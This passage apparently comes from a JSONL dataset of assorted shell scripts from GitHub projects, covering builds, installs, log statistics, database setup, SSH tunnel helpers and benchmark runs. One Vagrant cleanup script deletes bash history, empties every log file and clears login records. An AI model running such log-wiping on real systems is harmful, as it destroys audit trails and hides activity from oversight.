4.2,4.3n -k 4.14,4.15n -k 4.17,4.18n -k 4.20,4.21n | tac | head -50\necho\necho \"Dates:\"\necho\ncut -f3 -d\"-\" $LOGS | cut -f1 -d \":\" | perl -pe 's/ \\[//' | sort -t ' ' -k 1.8,1.11n -k 1.4,1.6M -k 1.1,1.2n | uniq -c | tac | perl -pe 's/^ *(\\d+) /\\1\\t/' > webapps.log.counts.csv\nhead -100 webapps.log.counts.csv\necho\necho \"HTTP Codes:\"\necho\ncat $LOGS | grep -v webapps | perl -pe 's/^.*? (\\d\\d\\d) .*/\\1/' | sort | uniq -c | sort -rn | head -100\necho\necho \"HTTP Requests:\"\necho\ngrep HTTP $LOGS | cut -f6 -d\" \" | sort | uniq -c | sort -rn | perl -pe 's/\"//g' | head -100\necho"} {"text": "if [ ! -d \"venv\" ]\nthen\n python3 -m venv venv\n . venv/bin/activate\n pip install -r requirements.txt\nelse\n . venv/bin/activate\nfi\nopen http://127.0.0.1:5000/\nexport FLASK_APP=bunshi\nexport FLASK_ENV=development\nflask run"} {"text": "#!/usr/bin/env sh\ndocker build -f src/main/docker/Dockerfile.jvm -t api:latest ."} {"text": "<reponame>akolotov/qadwallet-testenv<gh_stars>1-10\n#!/bin/bash\n\nGETH_BIN='/opt/ethereum-go/bin/geth'\n\n${GETH_BIN} --datadir data init qadwallet_testbed.json"} {"text": "<reponame>bpmcdevitt/intrigue-core\n# simplify getting nvd feeds\nNVD_YEARS=\"2018 2017 2016 2015 2014 2013 2012 2011\"\n\n# nvd download function\nfunction get_nvd_json() {\n echo \"[+] Getting latest NVD JSON Feed: $YEAR\"\n wget -N -q https://nvd.nist.gov/feeds/json/cve/1.0/nvdcve-1.0-$YEAR.json.gz -O nvdcve-1.0-$YEAR.json.gz\n gunzip nvdcve-1.0-$YEAR.json.gz\n}\n\nif [ -d \"nvd\" ]; then\n echo \"[ ] Cleaning NVD directory\"\n rm -rf nvd\nfi\n\n# check and download\nfor YEAR in $NVD_YEARS; do\n\n mkdir -p nvd\n cd nvd\n get_nvd_json $YEAR\n cd ..\n\ndone"} {"text": "<gh_stars>1-10\n#!/bin/sh\n\n# ######################################################\n# ## Copyright (c) 2021, <NAME> ##\n# ## Licensed under the Apache License, Version 2.0 ##\n# ######################################################\n\n# Ask YES or NO \n\n#####################\n## ## YES / NO ## ##\n#####################\n## Usage \n## \n## askYN <command>\n## \n## <command> to run when yes\n## Default is No N\naskYN_ANS=''\naskYN(){\n askYN_defaultN $@\n}\n\naskYN_defaultN(){\n local REPLY=\"\"\n\n read -p \" [y/N] \" REPLY\n\n case $REPLY in \n [yY]) \n askYN_ANS='y'\n # echo \"OK!\"\n $@\n # echo \"$cGREEN{SUCCESS}$cNC\"\n ;;\n\n *)\n askYN_ANS='n'\n echo \"Action Cancelled\"\n ;; \n esac\n}\n\naskYN_defaultY(){\n local REPLY=\"\"\n\n read -p \" [Y/n] \" REPLY\n\n case $REPLY in \n [nN])\n askYN_ANS='n'\n echo \"Action Cancelled\"\n ;;\n\n *) \n askYN_ANS='y'\n # echo \"OK!\"\n $@\n # echo \"$cGREEN{SUCCESS}$cNC\"\n ;;\n\n esac\n}"} {"text": ". /opt/conda/etc/profile.d/conda.sh\n\ncd ~\nmkdir regression\ncd regression\n# git config core.filemode false\ngit clone --recursive https://github.com/dmlc/dgl.git \ncd dgl\nmkdir asv\ncp -r ~/asv_data/* asv/\n\nconda activate base\npip install --upgrade pip\npip install asv numpy\n\nsource /root/regression/dgl/tests/scripts/build_dgl.sh gpu\n\nconda activate base\nasv machine --yes\nasv run\nasv publish"} {"text": "<reponame>tomMoral/loky\n#!/bin/bash\n\nset -e\n\npip install codecov\n\ncoverage combine --append\ncodecov || echo \"codecov upload failed\""} {"text": "<reponame>epfl-idevelop/ressenti<filename>ressenti-1.sh\n#Petit script pour lancer une mesure de temps sur une liste de site\n#ATTENTION: faire tourner ce script DANS le container docker-ressenti!\n\n#zf190320.1134\n\ntime_page() {\n label=$1\n url=$2\n img=$3\n\n ztime=`date +%Y%m%d.%H%M%S`\n zduree=`/root/work/screenshot.sh $url $img`\n echo -e $ztime\" \"$zduree\n t=${zduree::-1}\t\t\t\t #supprime le dernier car\n /root/work/send_prometheus.sh ressenti_epfl_firefox_siipc6 $label $t 1\n}\n\n\necho -e \"z.zufferey.com\"\ntime_page \"z.zufferey.com\" \"http://z.zufferey.com\" \"z.zufferey.com\"\n\necho -e \"www.epfl.ch\"\ntime_page \"www.epfl.ch\" \"https://www.epfl.ch\" \"www.epfl.ch\"\n\necho -e \"www.epfl.ch/wp-admin\"\ntime_page \"www.epfl.ch-wp-admin\" \"https://www.epfl.ch/wp-admin\" \"www.epfl.ch-wp-admin\"\n\necho -e \"dcsl.epfl.ch\"\ntime_page \"dcsl.epfl.ch\" \"https://dcsl.epfl.ch\" \"dcsl.epfl.ch\"\n\necho -e \"actu.epfl.ch\"\ntime_page \"actu.epfl.ch\" \"https://actu.epfl.ch\" \"actu.epfl.ch\"\n\necho -e \"memento.epfl.ch\"\ntime_page \"memento.epfl.ch\" \"https://memento.epfl.ch\" \"memento.epfl.ch\"\n\necho -e \"people.epfl.ch\"\ntime_page \"people.epfl.ch\" \"https://people.epfl.ch/christian.zufferey\" \"people.epfl.ch\"\n\necho -e \"gel.epfl.ch\"\ntime_page \"gel.epfl.ch\" \"https://gel.epfl.ch\" \"gel.epfl.ch\"\n\necho -e \"jahia.epfl.ch\"\ntime_page \"jahia.epfl.ch\" \"https://jahia.epfl.ch\" \"jahia.epfl.ch\"\n\n#echo -e \"www.abcm.ch\"\n#time_page \"www.abcm.ch\" \"https://www.abcm.ch\" \"www.abcm.ch\"\n\n#echo -e \"www.abcm.ch_wp\"\n#time_page \"www.abcm.ch-wp\" \"http://www.abcm.ch/wp\" \"www.abcm.ch-wp\"\n\necho -e \"www.makerspace-lausanne.ch\"\ntime_page \"www.makerspace-lausanne.ch\" \"http://www.makerspace-lausanne.ch\" \"www.makerspace-lausanne.ch\"\n\necho -e \"hivebrite.com\"\ntime_page \"hivebrite.com\" \"https://hivebrite.com\" \"hivebrite.com\"\n\necho -e \"epfl-test.hivebrite.com\"\ntime_page \"epfl-test.hivebrite.com\" \"https://epfl-test.hivebrite.com\" \"epfl-test.hivebrite.com\"\n\necho -e \"epfl.hivebrite.ch\"\ntime_page \"epfl.hivebrite.ch\" \"https://epfl.hivebrite.ch\" \"epfl.hivebrite.ch\""} {"text": "#!/usr/bin/env bash\nrootCaKey=\"../docker/local/etc/nginx/ssl/rootCA.key\"\nrootCaPem=\"../docker/local/etc/nginx/ssl/rootCA.pem\"\n\nopenssl genrsa -des3 -out ${rootCaKey} 2048\nopenssl req -x509 -new -nodes -key ${rootCaKey} -sha256 -days 3650 -out ${rootCaPem}"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\nset -eu\necho \"---- START: cleanup.sh -------\"\n\nSSH_USER=${SSH_USERNAME:-vagrant}\nDISK_USAGE_BEFORE_CLEANUP=$(df -h)\n\n# Disable the release upgrader\necho \"==> Disabling the release upgrader\"\nsed -i.bak 's/^Prompt=.*$/Prompt=never/' /etc/update-manager/release-upgrades\n\n# Disable periodic upgrades\necho \"==> Disabling periodic apt upgrades\"\necho 'APT::Periodic::Enable \"0\";' >> /etc/apt/apt.conf.d/10periodic\n\n# Make sure udev does not block our network - http://6.ptmc.org/?p=164\necho \"==> Cleaning up udev rules\"\nrm -rf /dev/.udev/\n\necho \"==> Cleaning up leftover dhcp leases\"\n\nif [ -d \"/var/lib/dhcp3\" ]; then\n rm /var/lib/dhcp3/*\nfi\n\nUBUNTU_VERSION=$(lsb_release -sr)\n# Add delay to prevent \"vagrant reload\" from failing\necho \"pre-up sleep 2\" >> /etc/network/interfaces\n\necho \"==> Cleaning up tmp\"\nrm -rf /tmp/*\n\necho \"==> Installed packages\"\ndpkg --get-selections | grep -v deinstall\n\n# Remove Bash history\nunset HISTFILE\nrm -f /root/.bash_history\nrm -f /home/${SSH_USER}/.bash_history\n\n# Clean up log files\nfind /var/log -type f | while read f; do echo -ne '' > \"${f}\"; done;\n\necho \"==> Clearing last login information\"\n>/var/log/lastlog\n>/var/log/wtmp\n>/var/log/btmp\n\necho \"---- END: cleanup.sh -------\""} {"text": "<reponame>opsresearch/ops-provision<filename>scripts/terraform/install.sh\n#!/usr/bin/env bash\n# Copyright (c) 2020-Present OpsResearch LLC\n# Licensed under the MIT License, see the LICENSE file.\nset -euo pipefail\nIFS=$'\\n\\t'\nexport PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'\nHERE=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ncd \"$HERE/..\"\nsource \"config.sh\"\nsource \"funct.sh\"\n######\n\necho \"Script: $0\"\ncd \"$HOME\"\n\necho \"Terraform version: $OPS_TERRAFORM_VERSION\"\n\nif command -v terraform > /dev/null; then\n echo \"Skipping Terraform install because the command 'terraform' is defined.\"\n exit 0\nfi\n\ninstall_terraform_linux_x86_64(){\n if ! command -v terraform > /dev/null; then\n sudo wget \"https://releases.hashicorp.com/terraform/$OPS_TERRAFORM_VERSION/terraform_${OPS_TERRAFORM_VERSION}_linux_amd64.zip\"\n sudo unzip \"terraform_${OPS_TERRAFORM_VERSION}_linux_amd64.zip\"\n sudo mv -f terraform /usr/local/bin/\n rm -f \"./terraform_${OPS_TERRAFORM_VERSION}_linux_amd64.zip\"\n fi\n}\n\nif is_macos; then\n brew update\n brew install -f terraform\nelif is_linux && is_x86_64; then\n install_terraform_linux_x86_64\nelse\n echo \"This OS isn't suitable for: $0\"\n uname -a\n exit 1\nfi"} {"text": "<reponame>ww8912188/blogs\n#!/bin/bash\nexport GOPATH=/root/go\nexport PATH=$PATH:$GOPATH/bin\n\nCOSMOS_PATH=/data1/validator\nCHAIN_ID=testing\nNUM=1\nPW=<PASSWORD>\n\ncd $COSMOS_PATH\nrm -rf node*\nfor((i=0;i<=$NUM;i++));\ndo\n pm2 delete node$i\n mkdir -p $COSMOS_PATH/node$i\n mkdir -p $COSMOS_PATH/node$i/gentxs\ndone\npm2 delete cosmos-rest-server\n\n# initialize node0 \ngaiad init --chain-id=$CHAIN_ID node0 --home=$COSMOS_PATH/node0\n\nfor((i=0;i<=$NUM;i++));\ndo\n gaiad init --chain-id=$CHAIN_ID node$i --home=$COSMOS_PATH/node$i\n rm -rf node$i/config/genesis.json\ndone\n\ncp genesis.json node0/config/\n\nfor((i=0;i<=$NUM;i++));\ndo\n gaiad add-genesis-account $(gaiacli keys show validator$i -a) 1000000000stake,1000000000validator${i}token --home=$COSMOS_PATH/node0\ndone\n\necho $PW | gaiad gentx --name validator0 --home=$COSMOS_PATH/node0 --output-document=$COSMOS_PATH/node0/gentxs/node0.json\n\ngaiad collect-gentxs --home=$COSMOS_PATH/node0 --gentx-dir=$COSMOS_PATH/node0/gentxs\n\ncp node0/config/genesis.json node1/config\n\npm2 start runnode0.sh --name=node0\n\nsleep 5\n\nrm -rf node1/config/config.toml\ncp backup/config1.toml node1/config/config.toml\n\nID=`gaiacli status | jq -r \".node_info.id\"`\nSEEDS=\"$ID@172.16.144.84:26656\"\nVALACC=`gaiad tendermint show-validator --home=$COSMOS_PATH/node1`\n\nsed -i \"/seeds = \"\"/c seeds = \\\"$SEEDS\\\"\" node1/config/config.toml\n\n# node1\ngaiacli tx staking create-validator \\\n --amount=1000000stake \\\n --pubkey=$VALACC \\\n --moniker=node1 \\\n --chain-id=testing \\\n --commission-rate=\"0.10\" \\\n --commission-max-rate=\"0.20\" \\\n --commission-max-change-rate=\"0.01\" \\\n --min-self-delegation=\"100000\" \\\n --gas=200000 \\\n --gas-prices=\"0.025stake\" \\\n --from=cosmos1wpw2nrq850mwgrhteh3jwc2g7w9led2huhck90\n\nsleep 5\npm2 start runnode1.sh --name=node1\n\nsleep 5\npm2 start start-rest-server.sh --name=cosmos-rest-server"} {"text": "<reponame>Pick1a1username/gitweb_dockerfile\n#!/bin/bash\n\n# Configure gitweb.conf\n## Set base URL\n## If BASE_URL isn't set, 'localhost' will be used.\necho \"Setting base URL...\"\n\nif [[ -z ${BASE_URL} ]]\nthen\n echo \"BASE URL is not specified. 'localhost' will be used.\"\nelse\n echo \"'${BASE_URL}' is specified as GitWeb's base url.\"\n sed -i 's/localhost/${BASE_URL}/g' /etc/gitweb.conf\nfi\n\necho \"Done.\"\n\n# Execute lighttpd\necho \"Executing lighttpd...\"\n\nlighttpd -D -f /etc/lighttpd/lighttpd.conf"} {"text": "<filename>migrations/applied_migrations/AuthorityStartDate.sh\n#!/bin/bash\n\necho \"\"\necho \"Applying migration AuthorityStartDate\"\n\necho \"Adding routes to conf/app.routes\"\n\necho \"\" >> ../conf/app.routes\necho \"GET /authorityStartDate controllers.AuthorityStartDateController.onPageLoad(mode: Mode = NormalMode)\" >> ../conf/app.routes\necho \"POST /authorityStartDate controllers.AuthorityStartDateController.onSubmit(mode: Mode = NormalMode)\" >> ../conf/app.routes\n\necho \"GET /changeAuthorityStartDate controllers.AuthorityStartDateController.onPageLoad(mode: Mode = CheckMode)\" >> ../conf/app.routes\necho \"POST /changeAuthorityStartDate controllers.AuthorityStartDateController.onSubmit(mode: Mode = CheckMode)\" >> ../conf/app.routes\n\necho \"Adding messages to conf.messages\"\necho \"\" >> ../conf/messages.en\necho \"authorityStartDate.title = AuthorityStartDate\" >> ../conf/messages.en\necho \"authorityStartDate.heading = AuthorityStartDate\" >> ../conf/messages.en\necho \"authorityStartDate.checkYourAnswersLabel = AuthorityStartDate\" >> ../conf/messages.en\necho \"authorityStartDate.error.required.all = Enter the authorityStartDate\" >> ../conf/messages.en\necho \"authorityStartDate.error.required.two = The authorityStartDate\" must include {0} and {1} >> ../conf/messages.en\necho \"authorityStartDate.error.required = The authorityStartDate must include {0}\" >> ../conf/messages.en\necho \"authorityStartDate.error.invalid = Enter a real AuthorityStartDate\" >> ../conf/messages.en\n\necho \"Adding to UserAnswersEntryGenerators\"\nawk '/ self: Generators =>/ {\\\n print;\\\n print \"\";\\\n print \" implicit lazy val arbitraryAuthorityStartDateUserAnswersEntry: Arbitrary[(AuthorityStartDatePage.type, JsValue)] =\";\\\n print \" Arbitrary {\";\\\n print \" for {\";\\\n print \" page <- arbitrary[AuthorityStartDatePage.type]\";\\\n print \" value <- arbitrary[Int].map(Json.toJson(_))\";\\\n print \" } yield (page, value)\";\\\n print \" }\";\\\n next }1' ../test/generators/UserAnswersEntryGenerators.scala > tmp && mv tmp ../test/generators/UserAnswersEntryGenerators.scala\n\necho \"Adding to PageGenerators\"\nawk '/trait PageGenerators/ {\\\n print;\\\n print \"\";\\\n print \" implicit lazy val arbitraryAuthorityStartDatePage: Arbitrary[AuthorityStartDatePage.type] =\";\\\n print \" Arbitrary(AuthorityStartDatePage)\";\\\n next }1' ../test/generators/PageGenerators.scala > tmp && mv tmp ../test/generators/PageGenerators.scala\n\necho \"Adding to UserAnswersGenerator\"\nawk '/val generators/ {\\\n print;\\\n print \" arbitrary[(AuthorityStartDatePage.type, JsValue)] ::\";\\\n next }1' ../test/generators/UserAnswersGenerator.scala > tmp && mv tmp ../test/generators/UserAnswersGenerator.scala\n\necho \"Migration AuthorityStartDate completed\""} {"text": "#PBS -N test_sidecar\n#PBS -l mppwidth=24\n#PBS -q debug\n#PBS -l walltime=00:29:59\n#PBS -j oe\n\ncd $PBS_O_WORKDIR\n\nWORKDIR=$SCRATCH/$PBS_JOBNAME.$PBS_JOBID\n\nmkdir -p $WORKDIR\n\nEXE=gridmovetest3d.Linux.g++.gfortran.MPI.ex\nINPUTS=inputs_3d\n\ncp $EXE $INPUTS $WORKDIR\n\ncd $WORKDIR\n\naprun -n 24 ./$EXE $INPUTS"} {"text": "#!/usr/bin/bash\n\nset -eo pipefail\n#set -x\n\n# clear the/all luks header slots with clevis config\n# should be run before chroot while executing initrd\n# also, clear tang server entries or let them timeout in few minutes\n\nexit 1"} {"text": "# Create build dirs\nmkdir build\nmkdir out\ncd build\n# Build\ncmake -DCMAKE_BUILD_TYPE=$BUILD_CONF ..\nmake -j$(nproc) all\n# Copy binaries\ncp ./programs/fiberchaind/fiberchaind ../out\ncp ./programs/cli_wallet/cli_wallet ../out\ncp ./programs/js_operation_serializer/js_operation_serializer ../out"} {"text": "#!/bin/sh\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n# This script generates the sources for moby-containerd package.\n# Git clone is a standard practice of producing source files for moby-* packages.\n\nCONTAINERD_REPO=https://github.com/containerd/containerd.git\nCONTAINERD_COMMIT=<PASSWORD>\nVERSION=1.5.9+azure\n\nmkdir -p /build/containerd-src\ncd /build/containerd-src\ngit clone ${CONTAINERD_REPO} .\ngit fetch --tags origin ${CONTAINERD_COMMIT}\ngit checkout ${CONTAINERD_COMMIT}\ncd /build/\n\ntar --sort=name \\\n --mtime=\"2021-04-26 00:00Z\" \\\n --owner=0 --group=0 --numeric-owner \\\n --pax-option=exthdr.name=%d/PaxHeaders/%f,delete=atime,delete=ctime \\\n -C /build/containerd-src -czf ./moby-containerd-${VERSION}.tar.gz .\nrm -rf /build/containerd-src\n\necho \"sources generated successfully @ /build/moby-containerd-${VERSION}.tar.gz\""} {"text": "while true;do\necho Making..\n./make\necho brute\n./brute\necho code\n./code\nif diff code.out brute.out;then\necho AC\nelse\necho WA\nread p\nfi\ndone"} {"text": "#!/bin/sh\n# hem-* scripts source this file to bring in some useful helper\n# functions.\n\n# setup some common variables.\nprogname=$(basename $0) # hem-foo-bar\ncommname=$(echo \"$progname\" | sed 's/-/ /') # hem foo-bar\nworkdir=$(pwd)\nPS4=${PS4:-\"+ \"}\n\n# die [<message>]\n#\n# Exit with a status of 1. If <message> is provided, write it to stderr before\n# exiting.\ndie() {\n\ttest $# -gt 0 && {\n\t\techo >&2 \"$commname:\" \"$@\"\n\t\tlog \"$@\"\n\t}\n\texit 1\n}\n\n# usage\n#\n# Write program usage to stdout. This function does not exit.\nusage() {\n\techo \"Usage: $commname $USAGE\"\n}\n\n\n# see_usage [<message>]\n#\n# Show basic program usage and exit with status 1. If <message> is provided,\n# write that message to stderr before anything else.\nsee_usage() {\n\ttest $# -gt 0 &&\n\techo >&2 \"$commname:\" \"$@\"\n\techo \"Usage: $commname $USAGE\" | head -1\n\techo \"See: $commname --help\"\n\texit 1\n}\n\nif [ $# -gt 0 ] && [ \"$1\" = '--help' ] ; then\n\tusage\n\texit 0\nfi\n\n# log <message>\n#\n# Log a message to the configured log destination. When log_to is empty,\n# messages are logged using logger(1); otherwise, messages are written to the\n# file specified.\n#\n# If verbose is set, the message is also written to stderr with a PS4 prefix.\nlog() {\n\t[ $verbose ] &&\n\techo >&2 \"${PS4}$progname:\" \"$@\"\n\tif [ -n \"$log_to\" ] ; then\n\t\techo \"$(date +'%Y-%m-%d %H:%M:%S') $progname[$$]\" \"$@\" >> \"$log_to\"\n\telse\n\t\tlogger \"$@\"\n\tfi\n}\n\n\n# info <message>\n#\n# Write non-critical informational message to stdout unless the\n# quiet environment variable is set. The message is also written to\n# the log.\ninfo() {\n\t[ $quiet ] || echo \"$@\"\n\t[ $verbose ] || log \"$@\"\n\treturn 0\n}\n\n\n# editor [<args>] <file>\n#\n# Open an editor with the arguments provided. Use VISUAL, EDITOR, and then vi;\n# in that order.\neditor() {\n\tVISUAL=${VISUAL:-}\n\tif [ -n \"$VISUAL\" ]; then\n\t\t$VISUAL \"$@\"\n\telse\n\t\t${EDITOR:-'vi'} \"$@\"\n\tfi\n}\n\n\n# tildize <path>\n#\n# Convert $HOMEs to tildes (\"~\") at the beginning of <path>.\ntildize() {\n\techo \"${1:-}\" | sed \"s@^$HOME@~@\"\n\treturn 0\n}\n\n\n# remote_part [<user>@]<host>[:<port>]\n#\n# Convert a <remote> spec like '<EMAIL>:75' into its parts,\n# setting the following variables:\n#\n# remote_user the user portion of the remote spec (or $USER)\n# remote_host the host portion of the remote spec\n# remote_port the port portion of the remote spec (or 22)\n#\n# TODO: this is pretty much insane. there's gotta be a better way of\n# pulling these pieces apart.\nremote_part() {\n\tif [ $(expr -- \"$1\" : '.*@') -gt 0 ]; then\n\t\tremote_user=$(echo \"$1\" | sed 's/\\(.*\\)@.*/\\1/')\n\t\tremote_host=$(echo \"$1\" | sed 's/.*@\\(.*\\)/\\1/')\n\telse\n\t\tremote_user=\"$USER\"\n\t\tremote_host=\"$1\"\n\tfi\n\tif [ $(expr -- \"$remote_host\" : '.*:') -gt 0 ]; then\n\t\tremote_port=$(echo \"$remote_host\" | sed 's/.*:\\(.*\\)/\\1/')\n\t\tremote_host=$(echo \"$remote_host\" | sed 's/\\(.*\\):.*/\\1/')\n\telse\n\t\tremote_port=22\n\tfi\n\treturn 0\n}\n\n\n# ---------------------------------------------------------------------\n# Profile Related Functions\n# ---------------------------------------------------------------------\n\n# profile_path <name>|<path>\n#\n# Outputs the path to a profile file given a profile name or profile\n# path. No attempt is made to check that the profile exists or is\n# syntactally valid.\n#\n# Most profile_XXX functions call this when they indicate a <profile>\n# argument.\nprofile_path() {\n\tif [ \"$(expr -- \"$1\" : '\\/')\" = 1 ] ; then\n\t\techo \"$1\"\n\telse\n\t\techo \"$profile_dir\"/\"$1\"\n\tfi\n\treturn 0\n}\n\n# profile_check <profile>\n#\n# Check that a profile exists.\nprofile_exist() {\n\ttest -f \"$(profile_path $1)\" &&\n\treturn 0 ||\n\treturn 1\n}\n\n# profile_load <profile>\n#\n# load the profile specified and set up some intelligent variable\n# defaults.\nprofile_load() {\n\tprofile_file=$(profile_path $1)\n\tprofile_name=$(basename \"$profile_file\")\n\n\t# unset all profile variables\n\tfor i in host port user remote pidfile statefile monitor_port tunnels \\\n\t\textra_args disabled\n\tdo eval \"$i=\" ; done\n\n\t# source the profile\n\timport $profile_name\n\n\t# setup remote variables\n\tremote=${remote:-$profile_name}\n\tremote_part \"$remote\"\n\thost=${host:-$remote_host}\n\tport=${port:-$remote_port}\n\tuser=${user:-$remote_user}\n\n\t# set misc/other variables\n\tpidfile=${pidfile:-$run_dir/$profile_name.pid}\n\tstatefile=${statefile:-$state_dir/$profile_name}\n\tmonitor_port=${monitor_port:-0}\n\treturn 0\n}\n\n# profile_required <profile>\n#\n# Useful for scripts that take a number of arguments followed by\n# a single <profile>.\nprofile_required() {\n\ttest $# -gt 0 ||\n\tsee_usage \"no <profile> specified.\"\n\tprofile_name=\"$1\" ; shift\n\tprofile_load \"$profile_name\"\n}\n\n# ---------------------------------------------------------------------\n# Profile Helper Function Library\n# ---------------------------------------------------------------------\n# The following functions are designed to be used within hem profiles\n# themselves.\n\n# import <profile>\n#\n# Loads the configuration from the profile specified into the current\n# profile. The <profile> argument may be a name relative to\n# <profile_dir> or the full path to some other file.\nimport() {\n\t_p=$(profile_path \"$1\")\n\tif test -r \"$_p\" ; then\n\t\t. \"$_p\"\n\t\treturn 0\n\telse\n\t\tdie \"profile not found: $(tildize $_p)\"\n\tfi\n}\n\n\n# forward [<bind>:]<listen-port> [to] [<host>:]<forward-port> [<name>]\n#\n# Add a local port forward. SSH will listen on port <listen-port> on the\n# interface <bind>. If no <bind> part is specified, the loopback interface\n# is assumed. Connections made to the port are forwarded to <host> on\n# <forward-port> on the remote side of the connection. If the <host> part\n# is omitted, localhost is assumed.\nforward() {\n\ttunnels=\"$tunnels -L$1\"\n\tshift\n\t[ \"$1\" = \"to\" ] && shift\n\t[ $(expr -- \"$1\" : '.*:') -gt 0 ] &&\n\ttunnels=\"$tunnels:$1\" ||\n\ttunnels=\"$tunnels:localhost:$1\"\n\treturn 0\n}\n\n\n# backward [<bind>:]<listen-port> [to] [<host>:]<forward-port> [<name>]\n#\n# Add a remote port forward. SSH will listen on port <listen-port> on the\n# interface <bind> on the remote side of the connection. If no <bind> part\n# is specified, the remote loopback interface is assumed. Connections made\n# to the port will be forward to <host> on <forward-port> on the local side\n# of the connection. If the <host> part is omitted, localhost is assumed.\nbackward() {\n\ttunnels=\"$tunnels -R$1\"\n\tshift\n\t[ \"$1\" = \"to\" ] && shift\n\t[ $(expr -- \"$1\" : '.*:') -gt 0 ] &&\n\ttunnels=\"$tunnels:$1\" ||\n\ttunnels=\"$tunnels:localhost:$1\"\n\treturn 0\n}"} {"text": "<reponame>aclapes/breakfast-cnn-lstm<filename>dataset/download_videos.sh\nUSER=$1\nPASSWORD=$2\n\nOUTPUT_DIR=${3:-'../data/activitynet'}\n\nmkdir -p OUTPUT_DIR\n\nyoutube-dl -i -a videos_ids.lst \\\n-o $OUTPUT_DIR'/%(id)s.%(ext)s' \\\n-f bestvideo[ext=mp4] \\\n-u $USER \\\n-p $PASSWORD"} {"text": "<filename>asset/gen/archcraft-openbox-style-select/Section/Model/_fzf_preview_area/Core.sh\n\n\n################################################################################\n### Head: Model mod_style_select__fzf_preview_area\n##\n\nmod_style_select__fzf_preview_area () {\n\t#echo \"mod_style_select__fzf_preview_area\"\n\t#echo \"$@\"\n\n\t# archcraft-openbox-style-select _fzf_preview_area\n\n\tsys_fzf_style_preview_main \"$@\"\n\n}\n\n##\n### Tail: Model mod_style_select__fzf_preview_area\n################################################################################"} {"text": "<filename>bedes-db/docker-entrypoint-initdb.d/initialize-db-and-user.sh\n#!/bin/bash\nset -e\n\npsql -v ON_ERROR_STOP=1 --username \"$POSTGRES_USER\" <<-EOSQL\n CREATE USER ${DB_USER} with encrypted password '${<PASSWORD>}';\n CREATE DATABASE ${DB_NAME};\n GRANT ALL PRIVILEGES ON DATABASE ${DB_NAME} TO ${DB_USER};\n ALTER DATABASE ${DB_NAME} OWNER TO ${DB_USER};\nEOSQL\n\necho \"build the tables...\"\n\necho \" build db-common\"\npsql -U ${DB_USER} \\\n --single-transaction \\\n --echo-all \\\n --set ON_ERROR_STOP=on \\\n -f /create-epb-db/db-common.sql \\\n ${DB_NAME}\n\necho \"done = $?\"\n\necho \"build eb-auth...\"\npsql -U ${DB_USER} \\\n --single-transaction \\\n --echo-all \\\n --set ON_ERROR_STOP=on \\\n -f /create-epb-db/db-auth.sql \\\n ${DB_NAME}\n\necho \"done = $?\"\n\necho \"build db-build...\"\npsql -U ${DB_USER} \\\n --single-transaction \\\n --echo-all \\\n --set ON_ERROR_STOP=on \\\n -f /create-epb-db/db-build.sql \\\n ${DB_NAME}\n\necho \"done = $?\""} {"text": "<filename>docker/build/dsp.sh<gh_stars>0\n#!/bin/bash\n\ndocker build --tag default_apache ."} {"text": "#!/bin/bash\n\nRESTORE='\\033[0m'\nERROR='\\033[00;31m'\nPASS='\\033[00;32m'\nEM='\\033[01;37m'\nWARNING='\\033[00;33m'\n\nCURRENT_BASE=\"49.0.2623.75\"\nTARGET_BASE=\"50.0.2661.102\"\nSVN_SOURCE=\"/Users/zhaorui/49_svn/chromium49.0.2623.75/src/\"\n\n#\nfunction isOnTrunk {\n\treturn false\n}\n\necho -e \"${EM}reset branch 115 to 49.0.2623.75 checkout...${RESTORE}\"\ncd /Users/zhaorui/Chromium/src\n\t\ngit checkout -q $CURRENT_BASE\ngit branch -q -D 115 2> /dev/null\ngit checkout -b 115\n#git reset --hard $CURRENT_BASE\n\n#FIXME now we remove below repository manually\n#If we are not at 49.0.2623.75, there must be different repo to remove\ngit clean -f -d\nrm -rf third_party/flatbuffers\nrm -rf third_party/libphonenumber/dist\nrm -rf third_party/libvpx\nrm -rf third_party/shaderc/\n\n#gclient sync, not necessary\n# gclient sync > /dev/null\n# if [ \"$?\" -ne 0 ]; then\n# \techo -e \"${WARNING}gclient sync failed, but let's go on...${RESTORE}\"\n# fi\n\necho -e \"${EM}Merging 115 code to chromium ${RESTORE}\"\nrsync -a --delete --exclude-from=\"${SVN_SOURCE}/.gitignore\" \\\n\t --exclude=\".git\" --exclude=\".gitignore\" \t\t\t\t\\\n\t --exclude=\"/third_party/WebKit/LayoutTests\" \t\t\t\\\n\t --exclude=\"/third_party/android_platform\"\t\t\t\t\\\n\t --exclude=\"/third_party/libvpx\"\t\t\t\t\t\t\\\n\t --exclude=\"/third_party/libphonenumber/dist\"\t\t\t\\\n\t --exclude=\"/third_party/crashpad\"\t\t\t\t\t\t\\\n\t --exclude=\"/third_party/crashpad copy\"\t\t\t\t\\\n\t $SVN_SOURCE /Users/zhaorui/Chromium/src/\n\nif [[ $? -ne 0 ]]; then\n\techo -e \"${ERROR} rsync failed to copy 115 source code to Chromium. errno: $? ${RESTORE}\"\n\texit 1\nfi\n\ngit add -A .\ngit commit -m \"Add 115 Patch\"\nPATCH_COMMIT=`git rev-list -n1 HEAD`\necho -e \"Patch commit is ${PASS} ${PATCH_COMMIT} ${RESTORE}\"\ngit clone --bare ../src ../src.git\n\n# BACK_TO_MASTER_BASE=`echo $CURRENT_BASE | sed -e \"s/^\\(.*\\)\\..*$/\\1.0/\"`\n# echo -e \"${EM}Moving to ${BACK_TO_MASTER_BASE} ${RESTORE}\"\n# git branch -q -d 115onMaster\n# git checkout -b 115onMaster ${BACK_TO_MASTER_BASE}^\n# git cherry-pick $PATCH_COMMIT\n\n# #FIXME should be a do-while loop here\n# if [[ $? -ne 0 ]]; then\n# \techo -e \"${WARNING}git cherry-pick failed to patch 115 to ${BACK_TO_MASTER_BASE} ${RESTORE}\"\n# \techo -e \"${WARNING}Run git mergetool to continue... ${RESTORE}\"\n# \t# git diff --name-only --diff-filter=U\n# \twhile :\n# \tdo\n# \t\tgit mergetool\n# \t\tgit cherry-pick --continue\n# \t\tif [[ $? -eq 0 ]]; then\n# \t\t\tbreak\n# \t\tfi\n# \tdone\n# fi\n\n# git rebase 50.0.2625.0^\n\ncd - > /dev/null"} {"text": "#!/usr/bin/env bash\n#pandoc -f markdown -t rst README.md > README.rst\n#python3 setup.py sdist upload -r pypitest\n\npandoc -f markdown -t 